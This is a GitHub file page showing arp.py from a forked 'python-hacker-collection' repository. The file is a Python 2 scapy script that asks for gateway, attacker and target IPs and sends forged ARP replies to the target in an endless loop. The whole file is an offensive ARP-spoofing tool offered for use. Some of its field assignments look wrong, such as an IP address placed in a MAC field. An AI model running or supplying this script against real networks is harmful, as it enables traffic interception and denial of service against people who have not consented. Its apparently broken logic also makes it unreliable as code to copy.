forked from themycode/python-hacker-collection
-
Notifications
You must be signed in to change notification settings - Fork 0
Expand file tree
/
Copy patharp.py
More file actions
36 lines (35 loc) · 687 Bytes
/
arp.py
File metadata and controls
36 lines (35 loc) · 687 Bytes
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
import os
import sys
from scapy.layers.l2 import getmacbyip
from scapy.all import (
Ether,
ARP,
sendp
)
ifconfig=os.system('ifconfig')
print ifconfig
gmac=raw_input('Please enter gateway IP:')
liusheng=raw_input('Please enter your IP:')
liusrc=raw_input('Please enter target IP:')
try:
tg=getmacbyip(liusrc)
print tg
except Exception , f:
print '[-]{}'.format(f)
exit()
def arpspoof():
try:
eth=Ether()
arp=ARP(
op="is-at",
hwsrc=gmac,
psrc=liusheng,
hwdst=tg,
pdst=liusrc
)
print ((eth/arp).show())
sendp(eth/arp,inter=2,loop=1)
except Exception ,g:
print '[-]{}'.format(g)
exit()
arpspoof()